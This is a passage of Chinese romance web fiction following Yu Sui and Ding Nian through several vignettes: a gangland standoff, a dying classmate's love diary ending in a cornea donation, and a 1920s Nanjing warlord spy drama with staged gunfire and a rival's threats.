丁年小时候看志怪的电视剧,对里面美艳凄楚的女鬼总是格外怜惜,她们狠是真狠,美也是真美,楚楚可怜更是不容置疑的程度,怎么会让人不心生怜爱呢? 就像虞岁,多惹人怜惜的一张脸,多狠的一颗心? 一招不慎,满盘皆输,这是他活该。即使他百般否认,也避无可避,虞岁,可能从最初那一眼开始,就是他的劫难。 “丁年,你的枪呢?” “你要杀虞岁?” 丁元看着他,满脸诧异,“丁年你他妈清醒一点!到这时候了,你竟然舍不得?你跟我玩什么纯爱?这些年你干的脏事少了还是杀的人少了?” 丁年就是嘴硬,“条子在这,你就要动手?你有这份心还不如回去想想逃跑路线!” 正说着,虞岁款款的走过来,施施然的坐下,表情平静的好像要讨论今晚的月色真美一样,“嗨,来了啊,喝点什么?这里的曼特宁不错。” 丁元拉了保险,举起枪对准虞岁,丁年下意识的挡在虞岁面前…… 虞岁看着面前的丁年,愣了一秒,下一秒,笑了,笑着笑着有一滴泪从眼角流出,“丁年,你早这样多好啊!” 就像丁年说的,虞岁一落泪,世界都有罪。 丁元闭了闭眼,把枪扔到桌上,“来,虞岁,选吧,不是爱我又爱他么?来,把你那套情话模版当着我俩的面再说一遍。” 虞岁擦掉眼角的泪,冷笑,“丁元,你该不会天真的以为你动得了我吧?你回头看看,你身后一圈,哪里没有红点?不然你自不量力的比比看呢?看你和他们谁快?” 丁年回头看了看身后暗处若隐若现像暗夜里的狼眼睛一样的红色瞄准镜,顶了顶腮,“你找了这么多警察?” 虞岁摊摊手,“不是呢,这些是我的人。” 丁年发了狠,扯下领带三两下捆住她的手:“虞岁,你在我面前,在丁元面前,在外人面前,在条子面前,都不一样,你来告诉我,哪个你,是真的?” 虞岁笑着摇了摇头:“这样不行哦丁年,来,你把我解开,我教你怎么绑。” “哥,别听她的,大不了鱼死网破!” 虞岁笑的愈发开怀,“阿元姐姐,你不保护岁岁了么?你究竟是恨我骗你,还是恨我不喜欢你呢?” 丁元像是被戳破了的气球,瘫坐着不再说话了。 丁年紧了紧手里的领带,“虞岁,你对我,有没有一瞬间是真的?” 虞岁笑的比夜空中最亮的星子还璀璨,说出口的话对于丁年来说却比凌迟还残忍,“我对你,只有一句话是假的,就是我说,我喜欢你。” 丁年险些站立不住,“都是假的?都是假的?”,他松了手里的领带,干脆坐到地上。 虞岁冷哼,“这就受不住了?六年前,你们把我一个人丢在那个仓库,不是走的很干脆么?” 听到这话,丁年和丁元齐齐抬头看向她。 “丁年,当初你选你妹妹,我能理解,但我不能原谅,你们但凡动过一点恻隐之心想救我,有很多种方式可以选择,但是你们没有。没关系,我不怪你们,左右过了今晚,大家都扯平了。” 许久,丁年才说话,声音很轻:“你是虞岁,也是虞念舟,对么?” 虞岁瞥了他一眼,“现在才查我,有点晚了。” 丁年笑笑,“虞念舟,RH阴性血,有凝血障碍,抢救了六个小时,最后血库的血不够了,选用的现场直接输血法……事后,输血者不知所踪,只留下一句,等她醒了帮我说声对不起。” 有什么东西在虞岁的脑海中一闪而过,快的几乎抓不住,“你怎么知道?” 丁年的声音有些哽咽,“人或许不能共情从前的自己,虞岁,我欠你的。但是,你的身体里流着我的血,你要怎么跟我扯平?” 虞岁,原来你对我一直是你最真的一面,你落的泪,都是你闭口不谈的曾经。 虞岁本来的计划是,出了气、玩够了再把丁年兄妹交给警察,顺道把自家那点破事都扣到他头上,一石三鸟,可如今,怎么选呢? 不远处传来警笛的声音,有规则统一的脚步声由远及近的传来…… 暗处跑出来一个精干的保镖,“大小姐,走吧,计划有变,再不走来不及了。” 虞岁揉了揉眉心,深吸了一口气,“让咱们的人火力掩护,把他俩也带上。” 丁年,丁元和保镖都是一脸不可置信的看着她。 “听不懂么?我说,带上他们两个。” 保镖不再迟疑,他只懂得听虞岁的话行事,转身疾步去安排。 丁年满脸哀伤的看向虞岁,“我不值得,你快走吧。” 虞岁一个巴掌扇过去,“你给我听清楚,从今往后,你只是虞岁的丁年,前尘往事,都不做数了。” 直升机螺旋桨的声音轰隆隆的,划破了厚重压抑的空气。 带起的狂风裹挟着灰尘肆意飞舞,探照灯的强光穿透灰暗,打在三人身上。 保镖放下软梯,“大小姐,快上来!” 丁年托举着虞岁爬上去,虞岁上去之后,伸手来拉丁年,“丁年,你敢拒绝试试呢?” 丁年不再犹豫,握住了虞岁的手,握住了,他的另一半血液。 最后轮到丁元,她回头看了看身后不远处的警察和眼前的软梯…… 最终还是举起了手里的枪,几发子弹之后,软梯断了……她看着虞岁和丁年,扬了扬手里的电话。 与此同时,丁年收到了丁元的简讯:“哥,我会自首,我说过要保护她,交给你了。” “大小姐,即使丁元认罪态度良好,也有立功的机会,但恐怕上面还是不会相信丁年是无辜的。” 他们信不信只能交给时间了,虞岁边想边走向书房,那里,藏着她费心保住的月亮。 后来丁年问过虞岁,还恨不恨了。 虞岁只说了一句,“我放过我自己了。” 只是有一年探监回来的路上,虞岁淡淡的说了句,“你妹妹倒不是胆小鬼。” 丁年透过后视镜看她,认真的说:“丁舟杰也不是胆小鬼。但丁年是,因为他承包了虞岁的余生,必须活得胆小谨慎,不容有失。” 17. 虞岁,原来幸运的是我 3月4日,星期一,晴 晴空万里,万里无云,云淡风轻。 今天,班里新来了一个转学生,她叫虞岁。 她出现的那一刹那,对我来说,心动的声音,有了具象化。 我听着她的自我介绍,虞是‘越人未必知虞舜的虞’,岁是‘上古八千岁才是一春秋的岁’。 多美好的诗词意境,像她整个人一样。 阳光很明媚,但没有虞岁的笑容明媚。 她不经意的转头看向我的方向,我感觉我的世界仿佛静止了。 我当时表面上故作镇定,心里却晕眩的一塌糊涂。 清风拂过,我的心却不平静,我偷偷打量着她,把她的样子反复描画。 恰到好处的阳光投射到她身上,是连光都偏爱的人,是连光都会被她衬得黯然失色的人。 从前,我也在心底勾勒过那种纯粹的心动是什么样子,但始终没有什么头绪,我不相信一见钟情,但我没想到她就这么毫无预兆地来了。 她坐到了我身边,有光追随她而来,灼花了我的眼。 虞岁,平安喜乐。 3月14日,星期四,小雨 虞岁,平安喜乐。 虽然理不清为什么,但结论是毋庸置疑的:喜欢一个人,就是会下意识的模仿你的举动。 大概是想通过这种方式来表现我和你的瞬间同频,这是我渴望与你同频共振的隐秘途径。 这个动作只有我和你会做,我幻想这个动作独属于我们,这样,我对你来说就会变得与众不同;这样,我们就像一对了。 这是我卑微又阴暗的心思,还好你不知道,幸好你不知道。 如果你知道,会不会责怪我的唐突?会不会被我吓的落荒而逃? 我有无数个瞬间想要鼓起勇气对你袒露心意,你会有什么样的反应? 是会惊讶的睁大双眼,然后礼貌微笑的拒绝?还是会有那么一丝可能,你的眼里闪过惊喜和羞怯,回馈给我同样的惊讶,惊讶你心里也悄悄藏着我? 可我又害怕,害怕一旦说出口,连如今这样能在你身边默默模仿你的机会都失去。 我只能每天偷偷把这些心情写进日记里,期待有一天,或许命运会给我们一个答案; 又或许,这份喜欢就这样永远封存在这些文字里 。 3月15日,星期一,阴 虞岁,平安喜乐。 这句话是我对你最深的祝福,我要每天写一次,连同你的名字。 虽然你就坐在我旁边,但我还是每一天都会因为你跟我说的一句话,一次不经意的触碰,偷偷高兴好久。 你专注看着我的时候,我有种慌不择路的感觉,我甚至不敢与你对视,我怕我的眼睛出卖我的心。 我的心跳节拍总会因为你而乱。 喜欢一个人,是藏不住的。 喜欢你,是我一个人的兵荒马乱。 你出现之前,我的日子都是千篇一律的,是你让我平淡如水的生活起了波澜。 4月1日,星期一,多云转晴 虞岁,平安喜乐。 体育课,虽然身处熙攘的人群,但我的目光总会不受控制地率先寻找你的身影。 没有什么防备,一颗篮球撞到了我的鼻子,一个大男人被撞的鼻血止不住的流,挺丢脸的。 这么狼狈的捂着鼻子的我,真的不想被你看到。 但是你分开人群奔我而来,不顾别人的目光,有些焦急的查看我的状况,温柔的递给我一张纸巾。 “你还好么?” 这句话,真暖。 4月19日,星期五,晴转多云 虞岁,平安喜乐。 你人真的好好啊。 就像一个光芒万丈的小太阳。 每一个人,都能被你的光照耀到。 没有人能拒绝你的光芒。 没有人能不渴望你的光芒。 我一边感叹你的好,一边又阴暗的想私藏你的好。 太阳怎么会只照耀一个人呢? 可以么? 不能吧? 4月28日,星期五,多云 虞岁,平安喜乐。 暗恋真的是一种奇妙又神圣的感觉,你什么都不用做,只是坐在那里,我就想爱你。 你在我心里,分量越来越重。 在我眼里,你的一举一动都可爱,一颦一笑都精彩。 5月1日,星期四,阴 虞岁,平安喜乐。 我今天,没有什么特别的事情。 只是,特别的想你。 5月7日,星期三,阴 虞岁,平安喜乐。 我今天,有一点期待。 期待明天见到你。 5月8日,星期四,晴 虞岁,平安喜乐。 今天太阳真大,阳光真耀眼。 你问我,这几天过的怎么样? 怎么样呢?除了不能见到你,没什么记忆点。 见到你,真好。 我感觉我心底有什么东西在与日俱增。 被阳光照的越久,种子就会发芽,破土而出,以不可挡的速度茁壮生长。 这份爱意,肆意蔓延,把我的心填的满满当当。 我反复的推演你知道之后的反应,我还是有些胆怯。 我足够勇敢开启一场我自己的恋情冒险,但我没有勇气接受不好的结局。 我不断揣测你的心意。 我把我的心意藏在我对你的无数次试探里,可感觉到了么? 你能为我的勇气加点码么? 5月19日,星期日,多云 虞岁,平安喜乐。 明天是个特别的日子,或许,我也应该做点特别的事情。 或许我可以把特别的日子变成我和你之间特别的日子,有纪念意义的日子。 5月20日,星期一,晴转小雨 虞岁,平安喜乐。 我一直都知道你有多招人喜欢,但是,我好像晚了一步。 你果然跟我推演过无数次的一样,会微笑着耐心听完别人的告白再拒绝。 你说,“我有喜欢的人了。” 你拒绝了别人,当然,也包括我。 能被你喜欢啊,那个人真幸运。 今天真糟糕,下雨天最糟糕了。 5月21日,星期二,中雨 虞岁,平安喜乐。 我想了一整晚,想明白一个道理。 你喜欢谁,是你的自由,与我无关。 我喜欢你,是我的自由,与你无关。 我选择,我自由。 其实这样挺好的,起码我还有身份陪在你身边,不用经历相爱的患得患失和一旦失去的痛彻心扉。 下雨天,也不是糟糕透了。 6月1日,星期日,雾 虞岁,平安喜乐。 天气很闷,最近总是流鼻血。 这让我反复想起那次被篮球砸到,你给我的那张擦拭鼻血的纸巾。 我后来找遍了所有商店,终于找到跟你给我的那张纹路质感一样的。 可惜,终究不如你给我的那张。 6月24日,星期二,阵雨转晴 虞岁,平安喜乐。 跟你一个考场,我的运气真好。 这是假期前的最后一面。 我不讨厌下雨天了。 7月7日,星期日,晴 虞岁,平安喜乐。 我好像得了一种想到你就会发热的病。 7月19日,星期五,大雨 虞岁,平安喜乐。 曾经我无知无畏,不知道生命的可贵。 命运真的好残忍,我都还没有机会对你亲口告白,还来不及亲口对你诉说我的一腔热爱,我就永远的失去了这个资格。 我拿着我的病例单枯坐一夜,找不到出路和破局之法。 在无力的时候遇见你,结局真的不尽人意。 从此以后,我再也不想过生日了。 确实,我也过不了几个生日 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对不起,如果我能一直在你身边,我一定不会让你受伤。 没关系,幸好我还有机会治好你。 我所有的运气好像都用在遇到你身上了。 那我再贪心一点,求求老天垂怜,再让我幸运一次。 12月10日,星期二,晴 虞岁,平安喜乐。 虞岁,一定会平安喜乐,康健。 真好,我的各项指标与你匹配,我的眼角膜符合给你捐献的标准。 虞岁,你都不知道,在我生命的最后一程还能帮到你,我有多庆幸。 此去经年,我会以另一种方式与你共存,荣幸之至。 12月18日,星期三,晴 虞岁,平安喜乐。 求你,一定要一生顺遂。 再求一次老天,让我带走虞岁余生所有的阴雨天,把我的份加注给她,让她剩下的日子都是晴天。 虞岁,纵你阅人何其多,再无一人恰似我,这句话我没有机会亲口对你说了。 虞岁,有幸遇见,庆幸遇见,庆幸我还有用,庆幸是你。 这个结果也很好了,起码,我和你,永远不会走散。 虞岁,虞岁,虞岁。 1月4日,星期三,雾 虞岁,平安喜乐康健。 你可能无法理解我的这种心情,对你来说可能只是短短的大半年; 但对我来说,却是我花光勇气的余生,是我用尽全力都走不完的路。 虞岁,祝你手术顺利。 真遗憾,我再也看不到你了。 真幸运,我能陪你一起看世界。 谢谢你,来到我的身边。 对不起,我先走一步了。 虞岁的眼泪打湿了他记录在字里行间的心意。那些密密麻麻的字迹,被泪水晕染开来,就像她此刻破碎又凌乱的心。 她的手微微颤抖着,摩挲着那些被泪水洇湿的文字,每一个笔画都在诉说着他深沉又炽热的爱意,她被他的字字句句和每一句“虞岁,平安喜乐”,感动得泣不成声。 虞岁缓缓擦掉眼泪,闭上眼睛,指腹轻轻摸了摸眼睛,这是丁年给她的爱。 丁年,其实,我喜欢的人,一直是你啊。 虞岁的眼泪像决了堤一样,无法抑制的滚落,不知道是她的,还是他的。 她知道,他再也不会回应她了,可这份迟到的心意,她无论如何都要让他知道。 该说对不起的人,不是你,是我。 如果我再勇敢一点,坚决一点…… 我们差一点,就在一起了啊。 丁年,真幸运,我喜欢的你,也喜欢我。 真残忍,我在知道我喜欢的你也喜欢我的同时,失去了你。 18.丁年,为你唱一曲秦淮景 民国十一年,秦淮河畔,大戏院的后台。 虞岁刚刚换好衣服,拉开帘子打算出去,一抬眼就看到一个年轻的男人倒在一堆戏服之间。 短暂的错愕之后,她迅速镇定下来,快步上前,蹲在男人身边。 他面色苍白如纸,额头上豆大的汗珠不断渗出,在灯下泛着冷光,右肩处的衣服被鲜血浸透,斑驳血迹在地上蔓延开来,洇红了周围的戏服。 男人的眉眼生的极为清俊,在如此狼狈的境遇下,反而添了些破碎的美感,让人忍不住心生怜惜。 “先生?醒醒。” 男人紧闭双眼,毫无回应,虞岁环顾四周,想找人帮忙,可此刻后台空无一人。 就在她有些焦急的时候,男人的手动了一下,缓缓睁开了眼睛。 他的神情中透着疲惫与警惕,看到虞岁的瞬间,眼中闪过一丝凛厉。 “别出声,不然弄死你!”,男人的声音虽然轻的仿佛随时会被夜风吹散,但是语气却很重,带着不容置疑和不屑。 虞岁白了他一眼,“弄死我?我前脚死,你后脚也得失血过多跟我去,然后我们一起过头七。” 男人一把抓住她纤弱的手腕,“你胆子倒是不小,现在的形势,还有心情嘲讽我。” 虞岁叹了口气,“彼此彼此,再不止血,你容易昏迷。” 外面传来杂乱的脚步声和低声的交谈,“那小子肯定跑不远,就在这附近,仔细搜!” 男人的神色紧绷,手上的力道又加重几分,“你要是敢出卖我……” 虞岁扯开他的手,伸出一根手指戳进他肩膀上的伤口,“你还敢威胁我?” 男人没有防备,吃痛低呼,“嘶……” 虞岁把手指上的血往他衣服上抹了抹,压低声音说:“别出声,老实点,不然我就把你扔出去让他们弄死!” 说着,她迅速起身,扯过周围的戏服一股脑儿地盖在男人身上。 疾步走到门口,屏息贴在门上,听着外面的动静…… 不多时,门外响起了敲门声,虞岁回头看了一眼,确定那一堆戏服周围看不出端倪,打开了门。 几个凶神恶煞的军官闯了进来,本来就不大的房间瞬间逼仄起来,为首的是一个满脸横肉的光头,他目光肆意的打量着虞岁,“小娘们,有没有看到一个受伤的男人跑进来?” 虞岁笑的人畜无害的,“几位军爷瞧瞧,巴掌大的地方,一眼看到头,怎么能藏得下一个大活人?” 几个军官迅速看了一眼四周,交换了一下眼神,确实像虞岁说的那样,一眼看尽,连个视角盲区都没有。 有个猥琐相的军官凑近虞岁,“倒是不知道这大戏院什么时候多了颗沧海遗珠,哥几个,你们说是不是?啊?”,他一边说着,抬手就要来摸虞岁的下巴。 虞岁察觉到,那堆杂乱无章的戏服底下有些按捺不住了,她后退半步,灵活的躲开了伸过来的手…… “看几位军爷的装扮,是陆二爷的亲兵吧?” 为首的光头拦住了那个猥琐的军官,皱着眉问虞岁:“你认识我们二爷?你跟他?什么关系?” 虞岁抬手将鬓边的一缕碎发撩到耳后,笑的暧昧,“这秦淮戏院一条街,谁不认识陆二爷?至于关系嘛,二爷不准我宣扬呢,不然你去前头问问二爷呢?” 很明显,虞岁这种级别的美人,她的脸极具说服力,让人无法辩驳的说服力。 就见那光头又看了一遍整个房间,然后对另外几个军官说:“走吧,别误了差事。” 几个人半信半疑的走了,谁也不会傻到去正主面前问,他们算什么东西,万一虞岁说的是真的,差事没办好还企图调戏陆二的人,那不是找死么。 看着人都走远了,确定他们不会再返回来之后,虞岁仔细关好了门,挪开了那堆戏服…… 男人的脸色比之前更白了几分,眼眸却像寒星一样亮的惊人,他紧紧盯着虞岁,不放过她脸上的任何表情,“你跟陆二很熟?” 虞岁随口答着,“不光陆二,李二,丁二,我都熟”。 “丁二?” “白崇禧手下那个丁年。” 男人轻笑,“呵,我怎么不知道我也行(hang)二?” 虞岁给他上药的手顿住,“你就是丁年?” “怎么,你的情报里没有我的照片?” 虞岁把手里的棉球狠狠按进丁年的伤口,“你怎么知道?”,另一只手下意识的移到腰侧。 丁年整个人的状态反而松弛下来,他往后靠了靠,换了个舒服的姿势,“你手臂摆动的幅度跟常规下不一样,你的枪里已经没有子弹了。” 虞岁扯了段纱布,“你现在的状态,我还不至于用枪。” “对初次见面的陌生人就露了底,你是第一次出任务?” 虞岁不理他,只默默的把缠到他胳膊上的纱布紧了一圈又一圈。 丁年像是缓过来了,“你叫什么名字?军统的人还是粤系的人?” “虞岁。我就不能是共产党?” 丁年笑的玩味,“不可能。” “好了,包扎好了,你可以走了。” 丁年动了动被她缠的差点不过血的手臂,缓慢的站起来,“你救了我,有什么我能帮到你的尽管说。” “暂时没有,先欠着,好好记住,你欠我一个人情。” “那虞小姐,你可得好好活着,不要再轻易对一个受了伤的危险男人心软。” 虞岁从药箱里拿出个东西扔过去,“是么?那这唯一一次心软的机会我就心软到底好了。” “你给我沙包干什么?” “这是我做的药包,对皮外伤有奇效,你不要?” “要,我最喜欢沙包了。” 虞岁干脆利落的收拾好东西,也不再看丁年,“你的人应该很快就能找到这,我先走了,你自己保重。” “虞岁,我有预感,我们还会再见面的。” 乱世相遇,颠沛流离的故人,若说是重逢,不知是何年份? 民国十二年,去往大方巷官邸的路上。 丁年坐在车子后座闭目养神,“有话就说,探头探脑的做什么?” “参谋,您说这白参谋长这么晚了还找您干什么啊?” “暮山,好奇心不要那么强。” 小副官不好意思的挠挠头,“嘿嘿,我就跟您私下说说,到外面我就是哑巴。” 丁年意味深长的提点他:“现在是多事之秋,少说,多看,再做。” “明白,我就跟准您,您指哪我打哪就好了。前面就是白参谋长的官邸了。” 丁年抬头看了眼夜空,叹了口气,“今晚,又没有星星啊。” 暮山跟在他后面,也抬头看了一眼天,“参谋,城里就这样,您要是喜欢看星星,改天得空我载您去秦淮河畔看,那视野好,晚上的星星特别亮。” 丁年笑笑不说话,大步走进书房,暮山识趣的守在门外。 书房里,白崇禧看到丁年,很是热络的招呼他:“小丁啊,过来坐,喝茶。” 丁年走近几步,却也没有坐下,恭谨的站在一旁,“不知道参谋长深夜召唤,有什么指示?” “自己人,不要这么拘束,你先坐下。” 丁年看了他一眼,依言落座。 白崇禧推了杯茶给他,“来,喝茶,马上就是一家人了,别端着上下级的规矩了。” 丁年心下一动,一家人?但他面上不显,端起茶杯,静静的等着白崇禧的下文。 “小丁啊,听说日前姓陆的要把长女嫁给你?” “是,陆总司令有提过一句。” “听说你不肯娶?” “是,丁年心中已有妻。” “哦?什么时候的事?你的府里可是冷冷清清的。” “去年。我发过誓,等风平浪静了,一定会风风光光的娶她回家。” 白崇禧笑笑,“小丁啊,你这孩子哪都好,有头脑有野心有手段,心也够狠,就一点不好,太轴,到底还是年轻啊。” “是,让白参谋长见笑了。” 丁年哪里不懂这个道理,不过是眼下桂系新旧党争的厉害,轻易站队,站错了,怎么死的都不知道。 娶了陆荣廷的女儿,无异于把自己架在火上烤。 再者,在他心里,确实已有妻子的人选了,想到那个风情万种的女人……唉,都是往来客,偏自己做了痴狂者。 “你这个军务参谋做的不错,去年,也立了功,我跟老李商量过了,等过了年,升你做师长,兼情报参谋和作战参谋。” 丁年站起来,敬了个军礼,“多谢参谋长提携。” 白崇禧摆了摆手,“又来了,快坐下。别嫌我这个当老大哥的啰嗦,一个男人,不能太儿女情长,这陆荣廷的女儿,你得娶。” “我有想娶的人了”,丁年坚持。况且,他明白,这是白崇禧在试探自己的态度。 果然,被驳了面子,白崇禧不怒反笑,“哈哈哈,看不出来咱们的丁师长还是个情种!这样吧,不娶,收,收了做个二姨太总可以吧?” 丁年低着头,不说话,他在等,他直觉白崇禧的话还没说完。 白崇禧抿了口茶,“小丁啊,我也不瞒你,我有个侄女,上次阅兵的时候见过你,回家就闹着非要嫁给你,你看你要是拒绝了司令的女儿,这白暑怎么办?虽然现在内斗的厉害,但总不好太不顾陆荣廷的脸面啊。” “您的意思是?” “你就委屈一点,都收了吧,白暑愿意做你的三姨太”,等了半天,见丁年没有松口,白崇禧接着说:“以后你就明白了,儿女情长英雄气短,像你这样的男人,不能一辈子只守着一个女人。” 丁年低垂着眉眼,恭顺的说:“多谢白参谋长抬爱!” “哈哈哈,好小子!很晚了,回吧,明天新人就送到你府上,姨太太而已,也不用大操大办了!” 丁年明白了,这是借他来打陆荣廷的脸,堂堂总司令的女儿,只能给人做小,还连个像样的仪式都没有,至于白崇禧的侄女,呵呵,真的是侄女么? 出了白府,坐在车上,丁年才发觉他不知何时出了一身的细汗,他有些烦躁的解开了领口的扣子,一路解到胸口。 “参谋,咱们回哪?回家还是回旅部?” 丁年沉默了一会,“回家吧,回家收拾东西,明天起长住旅部。” 暮山有些疑惑,“怎么突然要长住旅部了?那家里怎么办?” “不用管,明天两个女人进来就热闹起来了,以后那就不是家了。” “不是家?” 丁年眼底闪过一丝寒意,“不是家,是情报处”,他揉了揉眉心,“暮山,把我书房的文件全部锁进暗格的保险箱,找个机灵点的警卫员盯着,有什么情况随时向我汇报。” “好。明天二位新夫人……” “只是两个姨太太,不是夫人。” 是夜,丁年坐在书房的书桌前,打开面前的锦盒,那里面只有两件东西,一枚旧徽章,一个旧沙包。 徽章的边角有些磨损,只上面的星星图案依然耀眼醒目;沙包的布料有些松散,只里面散发的药香依然沁人心脾。 丁年握着徽章和沙包枯坐良久,咔嗒一声,打火机的火苗晃的他的脸有些不真实感,他点燃了沙包,扔进桌上的大烟灰缸里…… 火舌缓慢又迅猛的吞噬了沙包,他把徽章一并扔进跳动的火焰之中。 至此,丁年的星星只在心底闪烁,他的世界进入永夜。 民国十三年,四喜堂,门口。 远远听到一阵喧哗声,丁年的视线从文件上移开,“暮山,前面怎么回事?” 警卫员停下车,暮山快速的去看了一眼,回来汇报,“师座,是陆家的陆漓跟那个日本人九川纯井带了一队人堵在四喜堂门口,看样子,是要搜什么东西。” 丁年合上文件,嗤笑一声:“这个陆二,最近倒是不闲着,先前只是听说陆家那边跟日本人走得近,眼下看来,传言不虚。” “那您?” 丁年叹了口气,“前线打得正热,这个关口,我得加把柴啊,暮山,你去告诉咱们的人,最近高调点。走吧,去跟这位陆二爷碰一碰。” 虞岁怎么也没想到,会在这种情况下跟丁年重逢,他比两年前更隽逸也更成熟了,像是冬日雪天里的太阳,耀眼的是他的相貌,冷峻的是他的气质,舍不得远观也舍不得靠近了亵渎。 丁年的视线在触及虞岁的瞬间,几不可察的呼吸一滞,他感觉心底有什么东西撕扯着就要冲破藩篱而出…… 但他最终只是深深的看了虞岁一眼就把视线转向陆漓,陆荣廷的小儿子,陆家的陆二爷,他二姨太陆茄的弟弟。 “陆二,这是唱的哪出?” 陆漓冷哼,“丁年,你不过就是白崇禧的一条狗,陆二也是你叫的?” 丁年倚靠在车头,“那叫你什么?小舅子?” 虞岁有些看不懂丁年,现在的局面,新旧桂系斗的白热化,他,这么早就站队了么? 陆漓有些气急败坏,转头对身边的副官说:“别管他,给老子搜!” 丁年看了一眼虞岁身上少的可怜的布料,在看到陆漓的副官走到她面前的时候,他慢条斯理的拔出配枪,砰的一声打在那副官的脚边,吓得那副官差点蹦起来。 虞岁惊诧的看向他,现在不是说话的好时机,但她满脸满眼都写着,丁年你是疯了么? 丁年转了下枪,看着那副官,话却是对着陆漓说的,声调平平,但谁都能听出来话里威胁的味道,“搜身?你敢搜一个我看看。” 陆漓愣住,在场的其他人更不敢说话,毕竟,现在的南京城,军阀势力是巅峰。 日本人九川纯井见势不对,连忙出来打圆场:“中国有句古话说的好,以和为贵,以和为贵。” 丁年抬起一根手指放在唇上,做了个嘘的手势,淡漠的问,“轮得到你说话么?暮山…” 暮山连忙应声,“师座。” 丁年用枪点了一下九川纯井,“把你们平时说这些小日本的话大声说给他听!” 暮山十分乖觉的大声说道,“小日本这些狗niang养的小杂碎,滚出中国,滚回自己的弹丸小国去!” 九川纯井尬笑着,“丁师长真是性情中人!” 虞岁现在完全是一副看好戏的态度,不得不承认,军阀的枪杆子政权就是简单粗暴,行之有效。玩脑子的再快还能比枪更快? 陆漓这会回过神来了,“丁年?你他妈的是被人夺舍了么?平时阴沉沉的屁都没有一个,今儿敢在老子面前这么猖狂?你他妈是不是看上虞岁了?” 看戏看到自己身上,虞岁觉得有点莫名其妙,然后她就听到丁年说:“是又如何?” 陆漓就气笑了,他摘下帽子扔进副官怀里,指着丁年就骂:“你听听你在说什么鬼话!你家热闹的跟四喜堂比都不遑多让了!我姐姐嫁给你没有仪式也就算了,你还让她跟白崇禧的侄女同一天进门!不到三个月,你他妈又搞个戏子!今年年初,又收个秘书!现在又说看上虞岁,你他妈也不怕死在女人身上!你是种马么?这么多女人,你也不怕不举!” 丁年凉凉的看他一眼,语气依旧淡淡的,“你急什么?举不举的也用不到你身上。” “丁年你大爷的!淦!”,陆漓扑过来,暮山一把拦住他。 丁年隔着暮山好心的给陆漓捋了捋衣领,“巧了,我是孤儿,真要说起来,你父亲我倒是该叫一句大爷。” 九川纯井连忙上前拉住陆漓,低声全着,“陆先生,咱们回去从长计议。” 陆漓稍稍回复理智,拉着虞岁就走,“跟老子回家!” 丁年一个跨步拉住虞岁的另一只手腕,“陆二,你想干什么?” 陆漓咬牙切齿的说:“我要娶她!明天就办酒席!丁师长你记得来吃席!放手!我就不信,她会放着我陆家的少夫人不做,给你当六姨太!” 虞岁其实现在有点懵,怎么就到这步了呢?她跟这俩哪个都没熟到谈婚论嫁的地步啊? 两个手腕的两只大手一个比一个攥的紧,她动了动,也没挣脱,微微皱眉。 察觉到她的表情,丁年松了劲,虚虚的握着。 虞岁看向丁年,在只有两人能看到的角度对他眨了眨眼。 丁年会意,放了手,她应该是有她的打算。 虞岁满意了,跟聪明人就是不累,她转头看向陆漓,“二爷,我自己会走,你把手放开,我这手腕都要断了。” 陆漓甩开手,得意的看了一眼丁年。 丁年挡在虞岁身前,一字一句的对他说:“陆二,你今晚可以带走她,但你最好别碰她,不然你姐姐就死定了”,说完,又看了眼虞岁,“暮山,送虞小姐去陆府,保护好她,出了任何差错,惟你是问。” “是!师座”,暮山走过来,微微欠身,“虞小姐,走吧。” 陆漓满脸不甘,恶狠狠的瞪了丁年一眼,“丁年!你有种!你给我等着!” “哦,我好怕等不到啊。” 上车前,虞岁回头看了一眼丁年,隔着华灯重重,他朦胧的眉眼在她的心底渐渐清晰起来。 却为荒野伶仃叶,我同林莽两相别。 警卫员握着方向盘,问:“师座,您要去哪?” “跟着前面的车,去陆府。” “是!” “参谋长回来了么?” “没有,前线吃紧。” “发急电,就说,我跟陆二看上了同一个女人,请示下。加密加急,明天早上七点之前,我要收到回复。” “好!属下马上去办!到了,您自己进去么?” “谁说我要进去?”,丁年看了一眼四周,“把车停到街对面的路灯下面,你去办事,我在这等着。” 大晚上的,虞岁翻来覆去睡不着,想分别时候丁年的眼神,想他说过的话,想第一次遇到他的画面……想了一遍,更睡不着了…… 索性披着衣服走出门,陆家她也来过几次,知道陆漓有个习惯,爱偷他爹陆荣廷的重要情报信件藏到阁楼的鸟笼子里…… 她一路蹑手蹑脚的走到阁楼,戴上手套,摸到那个蒙着黑丝绒的鸟笼子……果然……她拿出来一沓文件快速翻阅,在看到丁年的资料时,手上的动作停住了…… 原来,丁年的年少时看上去也是个刺头啊,很有几分桀骜不驯的味道。 虞岁把丁年的寸照小心翼翼的撕下来,妥善藏好。 她拿出微型相机,把需要的资料全部拍下来,这回,陆家的好日子是到头了。 回房间的路上,她看到丁年那个小副官站在走廊的窗边,有些出神的看着楼下…… “暮山,你在看什么?” 暮山一愣,随即笑了,“虞小姐,我在看街对面的路灯下,好像是我们师座的车。” “丁年?你是说他在楼下?他来干什么?” 暮山看了虞岁一样,眼底有些调侃,好像在说,他来干什么你不懂? 虞岁看着路灯下的车影,他的车跟他的人一样,让人捉摸不透。 半晌,虞岁轻轻的问了一句,“你们师座,真的有那么多姨太太么?”,话一出口,她才反应过来,她在干什么?丁年有多少女人跟她有什么关系? “虞小姐,很多事情,不是表面看上去的那样。眼睛看到的不一定是真的。” 虞岁感觉自己的心不受控制的颤抖了一下,下一秒,身体比大脑先做出反应,她一步一步走下楼,走出门…… 想去见他,见他,要用跑的去见他。 她像个情窦初开的少女,一路小跑到丁年的车前,敲了敲他的车窗…… 丁年刚刚有些倦意,看清车窗外的虞岁,眼底瞬间一片清明,他推开门下车。 “怎么了?” 虞岁拿出他的寸照,“丁年,我捡到了你的照片。” 丁年看着她,笑了,笑的宠溺,笑的深情缱绻。 “虞岁,等我接你回家。” “丁年,你是要抢亲么?” “可以么?” “你家里女人太多。” “嗯,势力太杂,需要你解决。” “好办,你要用什么交换?” “只要你要,只要我有。” 天光大亮,警卫员把一封电报交到丁年手里。 丁年拆开漆封蜜蜡,薄薄的信纸上只有六个字,「大局已定,可杀。」 看来今天的太阳会很大,丁年把信递给警卫员,看了一眼腕表,“一个小时内,调三个团过来,先把陆二的亲兵扣住,再围住陆府,跟我进去带夫人回家。” “要是他们反抗呢?” “就地射杀。” 餐桌上,陆漓嘲弄的看着虞岁,“昨儿晚上偷偷见丁年了?” 虞岁喝了口牛奶,不慌不忙的说:“二爷都看见了还问,好没意思的话。” “虞岁,咱俩认识时间也不短了,你就没有一瞬间对我动过心?” “二爷生的这么英俊潇洒风流倜傥的,谁能不动心。” “有啊,你啊,因为你这个女人啊,没有心。” 